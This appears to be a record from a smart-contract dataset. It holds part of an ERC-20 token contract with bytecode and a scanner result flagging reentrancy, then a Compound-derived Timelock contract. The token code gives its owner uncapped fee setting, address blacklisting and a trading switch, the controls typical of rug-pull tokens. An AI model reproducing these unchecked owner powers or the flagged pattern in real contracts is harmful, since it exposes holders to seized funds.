require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b257600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600c81526b14da1a58915b195c1a185b9d60a21b60208201525b60405161023c9190611a24565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a79565b61069c565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b5066038d7ea4c680005b60405190815260200161023c565b3480156102dd57600080fd5b506102656102ec366004611aa5565b6106b3565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023c565b34801561032f57600080fd5b50601554610295906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae6565b61071c565b34801561036f57600080fd5b506101fc61037e366004611b13565b610767565b34801561038f57600080fd5b506101fc6107af565b3480156103a457600080fd5b506102c36103b3366004611ae6565b6107fa565b3480156103c457600080fd5b506101fc61081c565b3480156103d957600080fd5b506101fc6103e8366004611b2e565b610890565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae6565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610295565b34801561045a57600080fd5b506101fc610469366004611b13565b6108bf565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b50604080518082019091526005815264534849424560d81b602082015261022f565b3480156104be57600080fd5b506101fc6104cd366004611b2e565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b47565b610936565b3480156104fe57600080fd5b5061026561050d366004611a79565b610974565b34801561051e57600080fd5b5061026561052d366004611ae6565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b79565b6109d5565b34801561058357600080fd5b506102c3610592366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b2e565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae6565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c36565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c97565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c36565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c36565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c36565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c36565b60005b82811015610a70578160056000868685818110610a2157610a21611c6b565b9050602002016020810190610a369190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c97565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c36565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c36565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb2565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce1565b816001815181106113ce576113ce611c6b565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611733565b6001600160a01b0389166000908152600260205260409020556115c681611792565b6115d084836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164282826114c1565b82101561165d5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149e565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117408385611cb2565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179c61149e565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114c1565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ad565b60006118c08385611d91565b9050826118cd8583611d6f565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112e08161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112e082611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112e08161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c186963b5e0a54833bb80224e75d5ff3f29623a9a24290955e25d1e240713bc64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,324 |
0xbc2015a541e30c9c352ee2f2f9e90e5219b298e2
|
pragma solidity ^0.5.15;
/* Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// Original file came from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol
// Original audit: https://blog.openzeppelin.com/compound-finance-patch-audit/
// Overview:
// No Critical
// No High
//
// Changes made by YAM after audit:
// Formatting, naming, & uint256 instead of uint
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint256;
/// @notice An event emitted when the timelock admin changes
event NewAdmin(address indexed newAdmin);
/// @notice An event emitted when a new admin is staged in the timelock
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
/// @notice An event emitted when a queued transaction is cancelled
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
/// @notice An event emitted when a queued transaction is executed
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
/// @notice An event emitted when a new transaction is queued
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
/// @notice the length of time after the delay has passed that a transaction can be executed
uint256 public constant GRACE_PERIOD = 14 days;
/// @notice the minimum length of the timelock delay
uint256 public constant MINIMUM_DELAY = 12 hours;
/// @notice the maximum length of the timelock delay
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
bool public admin_initialized;
mapping(bytes32 => bool) public queuedTransactions;
constructor() public {
/* require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); */
admin = msg.sender;
delay = MINIMUM_DELAY;
admin_initialized = false;
}
function() external payable {}
/**
@notice sets the delay
@param delay_ the new delay
*/
function setDelay(uint256 delay_) public {
require(
msg.sender == address(this),
"Timelock::setDelay: Call must come from Timelock."
);
require(
delay_ >= MINIMUM_DELAY,
"Timelock::setDelay: Delay must exceed minimum delay."
);
require(
delay_ <= MAXIMUM_DELAY,
"Timelock::setDelay: Delay must not exceed maximum delay."
);
delay = delay_;
emit NewDelay(delay);
}
/// @notice sets the new admin address
function acceptAdmin() public {
require(
msg.sender == pendingAdmin,
"Timelock::acceptAdmin: Call must come from pendingAdmin."
);
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
/**
@notice queues a new pendingAdmin
@param pendingAdmin_ the new pendingAdmin address
*/
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(
msg.sender == address(this),
"Timelock::setPendingAdmin: Call must come from Timelock."
);
} else {
require(
msg.sender == admin,
"Timelock::setPendingAdmin: !init & !admin"
);
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(
msg.sender == admin,
"Timelock::queueTransaction: Call must come from admin."
);
require(
eta >= getBlockTimestamp().add(delay),
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(
msg.sender == admin,
"Timelock::cancelTransaction: Call must come from admin."
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(
msg.sender == admin,
"Timelock::executeTransaction: Call must come from admin."
);
// timelock not enforced prior to updating the admin. This should occur on
// deployment.
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
if (admin_initialized) {
require(
queuedTransactions[txHash],
"Timelock::executeTransaction: Transaction hasn't been queued."
);
require(
getBlockTimestamp() >= eta,
"Timelock::executeTransaction: Transaction hasn't surpassed time lock."
);
require(
getBlockTimestamp() <= eta.add(GRACE_PERIOD),
"Timelock::executeTransaction: Transaction is stale."
);
queuedTransactions[txHash] = false;
}
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(
bytes4(keccak256(bytes(signature))),
data
);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(
callData
);
require(
success,
"Timelock::executeTransaction: Transaction execution reverted."
);
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
